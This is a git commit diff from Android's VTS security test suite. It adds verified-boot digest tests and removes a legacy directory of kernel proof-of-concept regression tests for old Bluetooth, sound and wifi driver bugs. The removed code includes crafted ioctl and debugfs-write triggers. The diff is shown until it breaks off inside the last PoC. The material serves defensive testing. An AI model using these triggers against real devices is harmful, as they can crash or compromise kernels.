[automerger skipped] GKIComplianceTest: Update TV GKI requirements am: 7a61764cbf -s ours

am skip reason: Merged-In Id29f2e0542bd7b11e0cb239a11bee53e4ba04775 with SHA-1 c57a18b3a9 is already in history

Original change: https://android-review.googlesource.com/c/platform/test/vts-testcase/security/+/3009475

Change-Id: I92dd18d7e0ad468b0f2c0dfc13a63b020b49dcd6
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/avb/Android.bp b/avb/Android.bp
index 6cbec41..a817e3a 100644
--- a/avb/Android.bp
+++ b/avb/Android.bp
@@ -94,3 +94,13 @@
 
     require_root: true,
 }
+
+filegroup {
+    name: "gsi_validation_utils_cpp",
+    srcs: ["gsi_validation_utils.cpp"],
+}
+
+filegroup {
+    name: "vts_gki_compliance_test_cpp",
+    srcs: ["vts_gki_compliance_test.cpp"],
+}
diff --git a/avb/VtsSecurityAvbTest.cpp b/avb/VtsSecurityAvbTest.cpp
index f2dc667..e262675 100644
--- a/avb/VtsSecurityAvbTest.cpp
+++ b/avb/VtsSecurityAvbTest.cpp
@@ -19,6 +19,7 @@
 #include <array>
 #include <list>
 #include <map>
+#include <optional>
 #include <set>
 #include <tuple>
 #include <vector>
@@ -574,7 +575,7 @@
   const char* requested_partitions[] = {nullptr};
 
   // AVB_SLOT_VERIFY_FLAGS_ALLOW_VERIFICATION_ERROR is needed for boot-debug.img
-  // or vendor_boot-debug.img, which is not releae key signed.
+  // or vendor_boot-debug.img, which is not release key signed.
   auto avb_ops = avb_ops_user_new();
   auto verify_result =
       avb_slot_verify(avb_ops, requested_partitions, suffix.c_str(),
@@ -623,3 +624,51 @@
     }
   }
 }
+
+static constexpr char VBMETA_PROPERTY[] = "ro.boot.vbmeta.digest";
+
+static std::optional<std::vector<uint8_t>> GetVbmetaDigestProperty() {
+  std::string default_value = "not found";
+  auto vbmeta_string =
+      ::android::base::GetProperty(VBMETA_PROPERTY, default_value);
+  if (vbmeta_string == default_value) {
+    return std::nullopt;
+  }
+
+  std::vector<uint8_t> vbmeta_digest;
+  if (HexToBytes(vbmeta_string, &vbmeta_digest)) {
+    return vbmeta_digest;
+  } else {
+    return std::nullopt;
+  }
+}
+
+// Check that a calculated vbmeta digest matches the Android property value.
+TEST(AvbTest, CalculatedVbmetaMatchesProperty) {
+  // Get the vbmeta digest value from the Android property.
+  auto vbmeta_digest = GetVbmetaDigestProperty();
+  if (!vbmeta_digest.has_value()) {
+    GTEST_SKIP() << "No " << VBMETA_PROPERTY << " property value available";
+  }
+
+  AvbSlotVerifyData *avb_slot_data;
+  LoadAndVerifyAvbSlotDataForCurrentSlot(&avb_slot_data);
+
+  // Unfortunately, bootloader is not required to report the algorithm used
+  // to calculate the digest. There are only two supported options though,
+  // SHA256 and SHA512. The VBMeta digest property value must match one of
+  // these.
+  std::vector<uint8_t> digest256(AVB_SHA256_DIGEST_SIZE);
+  std::vector<uint8_t> digest512(AVB_SHA512_DIGEST_SIZE);
+
+  avb_slot_verify_data_calculate_vbmeta_digest(
+      avb_slot_data, AVB_DIGEST_TYPE_SHA256, digest256.data());
+  avb_slot_verify_data_calculate_vbmeta_digest(
+      avb_slot_data, AVB_DIGEST_TYPE_SHA512, digest512.data());
+
+  ASSERT_TRUE((vbmeta_digest == digest256) || (vbmeta_digest == digest512))
+      << "vbmeta digest from property (" << VBMETA_PROPERTY << "="
+      << BytesToHex(vbmeta_digest.value())
+      << ") does not match computed digest (sha256: " << BytesToHex(digest256)
+      << ", sha512: " << BytesToHex(digest512) << ")";
+}
diff --git a/avb/gsi_validation_utils.cpp b/avb/gsi_validation_utils.cpp
index 5503b91..ec8769f 100644
--- a/avb/gsi_validation_utils.cpp
+++ b/avb/gsi_validation_utils.cpp
@@ -50,6 +50,19 @@
   return true;
 }
 
+const char kNibble2Hex[16] = {'0', '1', '2', '3', '4', '5', '6', '7',
+                              '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
+
+std::string BytesToHex(const std::vector<uint8_t> &bytes) {
+  std::string retval;
+  retval.reserve(bytes.size() * 2 + 1);
+  for (uint8_t byte : bytes) {
+    retval.push_back(kNibble2Hex[0x0F & (byte >> 4)]);
+    retval.push_back(kNibble2Hex[0x0F & byte]);
+  }
+  return retval;
+}
+
 std::unique_ptr<ShaHasher> CreateShaHasher(const std::string &algorithm) {
   if (algorithm == "sha1") {
     return std::make_unique<ShaHasherImpl<SHA_CTX>>(
diff --git a/avb/gsi_validation_utils.h b/avb/gsi_validation_utils.h
index 6b29a4b..2c7c083 100644
--- a/avb/gsi_validation_utils.h
+++ b/avb/gsi_validation_utils.h
@@ -26,6 +26,8 @@
 
 bool HexToBytes(const std::string &hex, std::vector<uint8_t> *bytes);
 
+std::string BytesToHex(const std::vector<uint8_t> &bytes);
+
 // The abstract class of SHA algorithms.
 class ShaHasher {
  protected:
diff --git a/avb/kernel_version_test.cpp b/avb/kernel_version_test.cpp
index 7f51642..0803c39 100644
--- a/avb/kernel_version_test.cpp
+++ b/avb/kernel_version_test.cpp
@@ -285,8 +285,7 @@
 };
 
 bool IsGrf() {
-  return !android::base::GetProperty("ro.board.first_api_level", "").empty() ||
-         !android::base::GetProperty("ro.board.api_level", "").empty();
+  return !android::base::GetProperty("ro.board.first_api_level", "").empty();
 }
 
 // Returns true if the device has the specified feature.
@@ -358,21 +357,17 @@
                     "SystemVendorTest.KernelCompatibility";
   }
 
-  // Use board API level, not vendor API level, to ignore
-  // ro.product.first_api_level. ro.vendor.api_level is considering
-  // the ro.product.api_level which could potentially yield a lower api_level
-  // than the ro.board.{first_,}api_level.
-  auto board_api_level = GetBoardApiLevel();
-  ASSERT_TRUE(board_api_level.has_value())
+  auto vendor_api_level = GetVendorApiLevel();
+  ASSERT_TRUE(vendor_api_level != 0)
       << "Unable to determine board API level on GRF devices";
 
-  if (*board_api_level <= __ANDROID_API_R__) {
+  if (vendor_api_level <= __ANDROID_API_R__) {
     GTEST_SKIP() << "[VSR-3.4.1-001] does not enforce latest kernel x.y for "
-                 << "board_api_level == " << *board_api_level << " <= R";
+                 << "vendor_api_level == " << vendor_api_level << " <= R";
   }
 
   auto corresponding_vintf_level =
-      android::vintf::testing::GetFcmVersionFromApiLevel(*board_api_level);
+      android::vintf::testing::GetFcmVersionFromApiLevel(vendor_api_level);
   ASSERT_THAT(corresponding_vintf_level, Ok());
 
   auto latest_min_lts =
@@ -387,7 +382,7 @@
 
   ASSERT_GE(kernel_version, *latest_min_lts)
       << "[VSR-3.4.1-001] CHIPSETs that are on GRF and are frozen on API level "
-      << *board_api_level << " (corresponding to VINTF level "
+      << vendor_api_level << " (corresponding to VINTF level "
       << *corresponding_vintf_level << ") must use kernel version ("
       << *latest_min_lts << ")+, but kernel version is " << kernel_version;
 }
diff --git a/poc/README.md b/poc/README.md
deleted file mode 100644
index e69de29..0000000
--- a/poc/README.md
+++ /dev/null
diff --git a/poc/__init__.py b/poc/__init__.py
deleted file mode 100644
index e69de29..0000000
--- a/poc/__init__.py
+++ /dev/null
diff --git a/poc/config/stable/SecurityPoCKernelTest.runner_conf b/poc/config/stable/SecurityPoCKernelTest.runner_conf
deleted file mode 100644
index 9e0d02a..0000000
--- a/poc/config/stable/SecurityPoCKernelTest.runner_conf
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "run_staging": false
-}
diff --git a/poc/config/stable/__init__.py b/poc/config/stable/__init__.py
deleted file mode 100644
index e69de29..0000000
--- a/poc/config/stable/__init__.py
+++ /dev/null
diff --git a/poc/config/staging/SecurityPoCKernelTestStaging.runner_conf b/poc/config/staging/SecurityPoCKernelTestStaging.runner_conf
deleted file mode 100644
index 7254be2..0000000
--- a/poc/config/staging/SecurityPoCKernelTestStaging.runner_conf
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "run_staging": true
-}
diff --git a/poc/config/staging/__init__.py b/poc/config/staging/__init__.py
deleted file mode 100644
index e69de29..0000000
--- a/poc/config/staging/__init__.py
+++ /dev/null
diff --git a/poc/host/SecurityPoCKernelTest.py b/poc/host/SecurityPoCKernelTest.py
deleted file mode 100644
index 6c5668c..0000000
--- a/poc/host/SecurityPoCKernelTest.py
+++ /dev/null
@@ -1,204 +0,0 @@
-#!/usr/bin/env python3.4
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-import json
-import logging
-import os
-
-from vts.runners.host import asserts
-from vts.runners.host import base_test
-from vts.runners.host import const
-from vts.runners.host import keys
-from vts.runners.host import test_runner
-from vts.utils.python.controllers import adb
-from vts.utils.python.controllers import android_device
-from vts.utils.python.os import path_utils
-
-from vts.testcases.security.poc.host import poc_test_config as config
-
-class SecurityPoCKernelTest(base_test.BaseTestClass):
-    """Runs security PoC kernel test cases.
-
-    Attributes:
-        _dut: AndroidDevice, the device under test as config
-        _testcases: string list, list of testcases to run
-        _model: string, device model e.g. "Nexus 5X"
-        start_vts_agents: whether to start vts agents when registering new
-                          android devices.
-    """
-    start_vts_agents = False
-
-    def setUpClass(self):
-        """Creates device under test instance, and copies data files."""
-        required_params = [
-            keys.ConfigKeys.IKEY_DATA_FILE_PATH,
-            keys.ConfigKeys.IKEY_ABI_BITNESS,
-            config.ConfigKeys.RUN_STAGING
-        ]
-        self.getUserParams(required_params)
-
-        logging.info("%s: %s", keys.ConfigKeys.IKEY_DATA_FILE_PATH,
-                self.data_file_path)
-
-        self._dut = self.android_devices[0]
-        self._testcases = config.POC_TEST_CASES_STABLE
-        if self.run_staging:
-            self._testcases += config.POC_TEST_CASES_STAGING
-
-    def tearDownClass(self):
-        """Deletes all copied data."""
-        self._dut.adb.shell("rm -rf %s" % config.POC_TEST_DIR)
-
-    def PushFiles(self):
-        """adb pushes related file to target."""
-        self._dut.adb.shell("mkdir %s -p" % config.POC_TEST_DIR)
-
-        bitness = getattr(self, keys.ConfigKeys.IKEY_ABI_BITNESS)
-        bitness_suffix = "64" if bitness == "64" else ""
-        native_test_dir = "nativetest{0}".format(bitness_suffix)
-        push_src = os.path.join(self.data_file_path, "DATA", native_test_dir,
-                                "security", "poc", ".")
-        self._dut.adb.push("%s %s" % (push_src, config.POC_TEST_DIR))
-
-    def CreateHostInput(self, testcase):
-        """Gathers information that will be passed to target-side code.
-
-        Args:
-            testcase: string, format testsuite/testname, specifies which
-                test case to examine.
-
-        Returns:
-            dict, information passed to native PoC test, contains info collected
-                from device and config. If None, poc should be skipped.
-        """
-        out = self._dut.adb.shell("getprop ro.product.model")
-        device_model = out.strip()
-        testcase_path = os.path.join(*testcase.split("/"))
-        test_config_path = os.path.join(
-            self.data_file_path, "vts", "testcases", "security", "poc",
-            "target", testcase_path, "poc.runner_conf")
-
-        with open(test_config_path) as test_config_file:
-            poc_config = json.load(test_config_file)["target_models"]
-
-            # If dut model is not in the test config, test should be skipped.
-            if not device_model in poc_config.keys():
-                return None
-
-            params = poc_config.get("default", {})
-            params.update(poc_config[device_model])
-
-        host_input = {
-            "device_model": device_model,
-            "params": params
-        }
-
-        return host_input
-
-    def CreateTestFlags(self, host_input):
-        """Packs host input info into command line flags.
-
-        Args:
-            host_input: dict, information passed to native PoC test.
-
-        Returns:
-            string, host_input packed into command-line flags.
-        """
-        device_model_flag = "--device_model=\"%s\"" % host_input["device_model"]
-
-        params = ["%s=%s" % (k, v) for k, v in host_input["params"].items()]
-        params = ",".join(params)
-        params_flag = "--params=\"%s\"" % params
-
-        test_flags = [device_model_flag, params_flag]
-        return " ".join(test_flags)
-
-    def RunTestcase(self, testcase):
-        """Runs the given testcase and asserts the result.
-
-        Args:
-            testcase: string, format testsuite/testname, specifies which
-                test case to run.
-        """
-        host_input = self.CreateHostInput(testcase)
-        asserts.skipIf(not host_input,
-                "%s not configured to run against this target model." % testcase)
-
-        items = testcase.split("/", 1)
-        testsuite = items[0]
-
-        chmod_cmd = "chmod -R 755 %s" % path_utils.JoinTargetPath(
-            config.POC_TEST_DIR, testsuite)
-        logging.info("Executing: %s", chmod_cmd)
-        self._dut.adb.shell(chmod_cmd)
-
-        test_flags = self.CreateTestFlags(host_input)
-        test_cmd = "%s %s" % (
-            path_utils.JoinTargetPath(config.POC_TEST_DIR, testcase),
-            test_flags)
-        logging.info("Executing: %s", test_cmd)
-
-        try:
-            stdout = self._dut.adb.shell(test_cmd)
-            result = {
-                const.STDOUT: stdout,
-                const.STDERR: "",
-                const.EXIT_CODE: 0
-            }
-        except adb.AdbError as e:
-            result = {
-                const.STDOUT: e.stdout,
-                const.STDERR: e.stderr,
-                const.EXIT_CODE: e.ret_code
-            }
-        logging.info("Test results:\n%s", result)
-
-        self.AssertTestResult(result)
-
-    def AssertTestResult(self, result):
-        """Asserts that testcase finished as expected.
-
-        Checks that device is in responsive state. If not, waits for boot
-        then reports test as failure. If it is, asserts that all test commands
-        returned exit code 0.
-
-        Args:
-            result: dict(str, str, int), stdout, stderr and return code
-                from test run.
-        """
-        if self._dut.hasBooted():
-            exit_code = result[const.EXIT_CODE]
-            asserts.skipIf(exit_code == config.ExitCode.POC_TEST_SKIP,
-                    "Test case was skipped.")
-            asserts.assertFalse(exit_code == config.ExitCode.POC_TEST_FAIL,
-                    "Test case failed.")
-        else:
-            self._dut.waitForBootCompletion()
-            self._dut.rootAdb()
-            self.PushFiles()
-            asserts.fail("Test case left the device in unresponsive state.")
-
-    def generateSecurityPoCTests(self):
-        """Runs security PoC tests."""
-        self.PushFiles()
-        self.runGeneratedTests(
-            test_func=self.RunTestcase,
-            settings=self._testcases,
-            name_func=lambda x: x.replace('/','_'))
-
-if __name__ == "__main__":
-    test_runner.main()
diff --git a/poc/host/__init__.py b/poc/host/__init__.py
deleted file mode 100644
index e69de29..0000000
--- a/poc/host/__init__.py
+++ /dev/null
diff --git a/poc/host/poc_test_config.py b/poc/host/poc_test_config.py
deleted file mode 100644
index f23a77d..0000000
--- a/poc/host/poc_test_config.py
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/usr/bin/env python3.4
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-
-class ConfigKeys(object):
-    RUN_STAGING = "run_staging"
-
-class ExitCode(object):
-    """Exit codes for test binaries."""
-    POC_TEST_PASS = 0
-    POC_TEST_FAIL = 1
-    POC_TEST_SKIP = 2
-
-# Directory on the target where the tests are copied.
-POC_TEST_DIR = "/data/local/tmp/security/poc"
-
-POC_TEST_CASES_STABLE = [
-]
-
-POC_TEST_CASES_STAGING = [
-    "kernel_sound/28838221",
-    "kernel_bluetooth/30149612",
-    "kernel_wifi/32219453",
-    "kernel_wifi/31707909",
-    "kernel_wifi/32402310",
-]
-
-POC_TEST_CASES_DISABLED = [
-]
diff --git a/poc/target/Android.mk b/poc/target/Android.mk
deleted file mode 100644
index e42e635..0000000
--- a/poc/target/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-poc_target_dir := $(LOCAL_PATH)
-
-include $(call all-subdir-makefiles)
-
-include $(CLEAR_VARS)
-
-poc_test_src_files := \
-    poc_test.cpp \
-
-# TODO(trong): tests should not emit warnings.
-poc_test_cflags := \
-    -Wall \
-    -Werror \
-    -Wno-int-conversion \
-    -Wno-pointer-sign \
-    -Wno-unused-parameter \
-    -Wno-unused-variable \
-
-poc_test_c_includes := \
-    $(poc_target_dir) \
-
-build_poc_test := $(poc_target_dir)/Android.poc_test.mk
-include $(poc_target_dir)/Android.poc_test_list.mk
diff --git a/poc/target/Android.poc_test.mk b/poc/target/Android.poc_test.mk
deleted file mode 100644
index dc7a51c..0000000
--- a/poc/target/Android.poc_test.mk
+++ /dev/null
@@ -1,60 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# Compiles a PoC test module into an executable and copies it into
-# android-vts/testcases/DATA/nativetest(64)/security/poc/ directory.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-module_name := $(notdir $(module_testname))
-module_path := security/poc/$(dir $(module_testname))
-
-LOCAL_MODULE := $(module_name)
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_STEM := $(module_name)
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_NATIVE_TESTS)/$(module_path)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    $(poc_test_src_files) \
-    $(addprefix $(poc_test_dir)/,$(module_src_files)) \
-
-LOCAL_CFLAGS := \
-    $(poc_test_cflags) \
-    $(module_cflags) \
-
-LOCAL_C_INCLUDES := \
-    $(poc_test_c_includes) \
-    $(addprefix $(poc_test_dir)/,$(module_c_includes)) \
-
-LOCAL_HEADER_LIBRARIES := \
-    $(poc_test_header_libraries) \
-    $(module_header_libraries) \
-
-LOCAL_STATIC_LIBRARIES := \
-    $(poc_test_static_libraries) \
-    $(module_static_libraries) \
-
-LOCAL_SHARED_LIBRARIES := \
-    $(ltp_shared_libraries) \
-    $(module_shared_libraries) \
-
-include $(BUILD_EXECUTABLE)
-
-module_name :=
-module_path :=
-vts_src_file :=
diff --git a/poc/target/Android.poc_test_list.mk b/poc/target/Android.poc_test_list.mk
deleted file mode 100644
index 45f369a..0000000
--- a/poc/target/Android.poc_test_list.mk
+++ /dev/null
@@ -1,64 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-#Bluetooth POCs
-module_testname := kernel_bluetooth/30149612
-module_src_files := kernel_bluetooth/30149612/poc.cpp
-module_cflags :=
-module_c_includes :=
-module_header_libraries :=
-module_static_libraries :=
-module_shared_libraries :=
-include $(build_poc_test)
-
-#Sound POCs
-module_testname := kernel_sound/28838221
-module_src_files := kernel_sound/28838221/poc.cpp
-module_cflags :=
-module_c_includes :=
-module_header_libraries :=
-module_static_libraries :=
-module_shared_libraries :=
-include $(build_poc_test)
-
-#Wifi POCs
-module_testname := kernel_wifi/32219453
-module_src_files := kernel_wifi/32219453/poc.cpp
-module_cflags :=
-module_c_includes :=
-module_header_libraries := jni_headers
-module_static_libraries :=
-module_shared_libraries := libnl
-include $(build_poc_test)
-
-module_testname := kernel_wifi/31707909
-module_src_files := kernel_wifi/31707909/poc.cpp
-module_cflags :=
-module_c_includes :=
-module_header_libraries :=
-module_static_libraries :=
-module_shared_libraries :=
-include $(build_poc_test)
-
-module_testname := kernel_wifi/32402310
-module_src_files := kernel_wifi/32402310/poc.cpp
-module_cflags :=
-module_c_includes :=
-module_header_libraries := jni_headers
-module_static_libraries :=
-module_shared_libraries := libnl
-include $(build_poc_test)
-
diff --git a/poc/target/kernel_bluetooth/30149612/poc.cpp b/poc/target/kernel_bluetooth/30149612/poc.cpp
deleted file mode 100644
index 0e27c97..0000000
--- a/poc/target/kernel_bluetooth/30149612/poc.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-#include "poc_test.h"
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <unistd.h>
-
-int main(int argc, char* argv[]) {
-  VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
-  struct sockaddr sa;
-  socklen_t len, i;
-  int fd;
-
-  fd = socket(AF_BLUETOOTH, SOCK_STREAM, 3);
-  if (fd == -1) {
-    printf("[-] can't create socket: %s\n", strerror(errno));
-    return POC_TEST_SKIP;
-  }
-
-  memset(&sa, 0, sizeof(sa));
-  sa.sa_family = AF_BLUETOOTH;
-
-  if (bind(fd, &sa, 2)) {
-    printf("[-] can't bind socket: %s\n", strerror(errno));
-    close(fd);
-    return POC_TEST_SKIP;
-  }
-
-  len = sizeof(sa);
-  if (getsockname(fd, &sa, &len)) {
-    printf("[-] can't getsockname for socket: %s\n", strerror(errno));
-    close(fd);
-    return POC_TEST_SKIP;
-  } else {
-    printf("[+] getsockname return len = %d\n", len);
-  }
-
-  for (i = 0; i < len; i++) {
-    printf("%02x ", ((unsigned char*)&sa)[i]);
-  }
-  printf("\n");
-
-  for (i = 1; i < len; i++) {
-    if (((unsigned char*)&sa)[i] != 0) {
-      return POC_TEST_FAIL;
-    }
-  }
-
-  close(fd);
-  return POC_TEST_PASS;
-}
diff --git a/poc/target/kernel_bluetooth/30149612/poc.runner_conf b/poc/target/kernel_bluetooth/30149612/poc.runner_conf
deleted file mode 100644
index 98988d7..0000000
--- a/poc/target/kernel_bluetooth/30149612/poc.runner_conf
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-    "target_models": {
-        "Nexus 5": {},
-        "Nexus 6P": {},
-        "Android One": {}
-    }
-}
diff --git a/poc/target/kernel_sound/28838221/poc.cpp b/poc/target/kernel_sound/28838221/poc.cpp
deleted file mode 100644
index c4f0847..0000000
--- a/poc/target/kernel_sound/28838221/poc.cpp
+++ /dev/null
@@ -1,45 +0,0 @@
-#include "poc_test.h"
-
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define SIZE 32
-
-int main(int argc, char* argv[]) {
-  VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
-  const char* path = host_input.params["path"].c_str();
-  if (strlen(path) == 0) {
-    fprintf(stderr, "path parameter is empty.\n");
-    return POC_TEST_FAIL;
-  }
-
-  int ret;
-  int fd;
-  char buf[SIZE] = {0};
-
-  fd = open(path, O_RDWR);
-  if (fd < 0) {
-    perror("open fail");
-    return POC_TEST_FAIL;
-  }
-  printf("open %s succ\n", path);
-
-  sprintf(buf, "%x %x", 0x1111111, 0x2222222);
-  ret = write(fd, buf, SIZE);
-  if (ret < 0) {
-    perror("write fail");
-    return POC_TEST_FAIL;
-  } else {
-    printf("succ write %d byte\n", ret);
-  }
-  close(fd);
-
-  return POC_TEST_PASS;
-}
diff --git a/poc/target/kernel_sound/28838221/poc.runner_conf b/poc/target/kernel_sound/28838221/poc.runner_conf
deleted file mode 100644
index 7212046..0000000
--- a/poc/target/kernel_sound/28838221/poc.runner_conf
+++ /dev/null
@@ -1,16 +0,0 @@
-{
-    "target_models": {
-        "Nexus 5": {},
-        "Nexus 5X": {
-            "path": "/sys/kernel/debug/asoc/msm8994-tomtom-snd-card/snd-soc-dummy/codec_reg"
-        },
-        "Nexus 6": {},
-        "Nexus 6P": {
-            "path": "/sys/kernel/debug/asoc/msm8994-tomtom-mtp-snd-card/snd-soc-dummy/codec_reg"
-        },
-        "Nexus Player": {},
-        "default": {
-            "path": "/sys/kernel/debug/asoc/msm8994-tomtom-snd-card/snd-soc-dummy/codec_reg"
-        }
-    }
-}
diff --git a/poc/target/kernel_wifi/31707909/poc.cpp b/poc/target/kernel_wifi/31707909/poc.cpp
deleted file mode 100644
index 2434604..0000000
--- a/poc/target/kernel_wifi/31707909/poc.cpp
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "poc_test.h"
-
-#include <dlfcn.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <net/if.h>
-#include <sys/socket.h>
-#include <linux/fb.h>
-#include <linux/wireless.h>
-#include <signal.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/prctl.h>
-#include <sys/ptrace.h>
-#include <sys/stat.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define BUF_LEN 8192
-#define IOC_BUF_LEN 63
-#define TEST_CNT 20
-
-typedef struct _android_wifi_priv_cmd {
-  char *buf;
-  int used_len;
-  int total_len;
-} android_wifi_priv_cmd;
-
-typedef struct sdreg {
-  int func;
-  int offset;
-  int value;
-} sdreg_t;
-
-typedef struct dhd_ioctl {
-  uint cmd;          /* common ioctl definition */
-  void *buf;         /* pointer to user buffer */
-  uint len;          /* length of user buffer */
-  unsigned char set; /* get or set request (optional) */
-  uint used;         /* bytes read or written (optional) */
-  uint needed;       /* bytes needed (optional) */
-  uint driver;       /* to identify target driver */
-} dhd_ioctl_t;
-
-int poc(const char *ifname) {
-  int fd, i, res;
-  dhd_ioctl_t ioc;
-  struct ifreq arg;
-  struct iwreq data;
-  struct sdreg *s;
-  android_wifi_priv_cmd priv_cmd;
-  char buf[BUF_LEN];
-  char iocbuf[IOC_BUF_LEN];
-
-  fd = socket(AF_INET, SOCK_STREAM, 0);
-  if (fd < 0) {
-    printf("open socket error : fd:0x%x  %s \n", fd, strerror(errno));
-    return POC_TEST_FAIL;
-  }
-  memcpy(arg.ifr_ifrn.ifrn_name, ifname, strlen(ifname));
-
-  memset(iocbuf, 0x41, IOC_BUF_LEN);
-  memcpy(iocbuf, ":sbreg\0", 7);
-
-  s = (struct sdreg *)&(iocbuf[7]);
-  s->func = 1;
-  ioc.len = IOC_BUF_LEN;
-  ioc.buf = iocbuf;
-  ioc.driver = 0x00444944;
-  ioc.cmd = 0x2;
-
-  arg.ifr_data = &ioc;
-
-  for (i = 0; i < 1; i++) {
-    if ((res = ioctl(fd, 0x89F0, (struct ifreq *)&arg)) < 0) {
-      printf("ioctl error res:0x%x, %s \r\n", res, strerror(errno));
-    }
-    sleep(1);
-  }
-  close(fd);
-  return POC_TEST_PASS;
-}
-
-int main(int argc, char **argv) {
-  VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
-  const char *ifname = host_input.params["ifname"].c_str();
-  if (strlen(ifname) == 0) {
-    fprintf(stderr, "ifname parameter is empty.\n");
-    return POC_TEST_FAIL;
-  }
-
-  int i, ret;
-
-  for (i = 0; i < TEST_CNT; i++) {
-    if ((ret = poc(ifname)) != POC_TEST_PASS) break;
-  }
-
-  return ret;
-}
diff --git a/poc/target/kernel_wifi/31707909/poc.runner_conf b/poc/target/kernel_wifi/31707909/poc.runner_conf
deleted file mode 100644
index 1bb7913..0000000
--- a/poc/target/kernel_wifi/31707909/poc.runner_conf
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-    "target_models": {
-        "Nexus 6": {},
-        "Nexus 6P": {},
-        "Nexus Player": {},
-        "default": {
-            "ifname": "wlan0"
-        }
-    }
-}
diff --git a/poc/target/kernel_wifi/32219453/poc.cpp b/poc/target/kernel_wifi/32219453/poc.cpp
deleted file mode 100644
index c0695f3..0000000
--- a/poc/target/kernel_wifi/32219453/poc.cpp
+++ /dev/null
@@ -1,257 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "poc_test.h"
-
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-
-#include <android/log.h>
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <jni.h>
-#include <sys/socket.h>
-#include <linux/genetlink.h>
-#include <linux/netlink.h>
-#include <linux/nl80211.h>
-#include <net/if.h>
-#include <netlink/genl/ctrl.h>
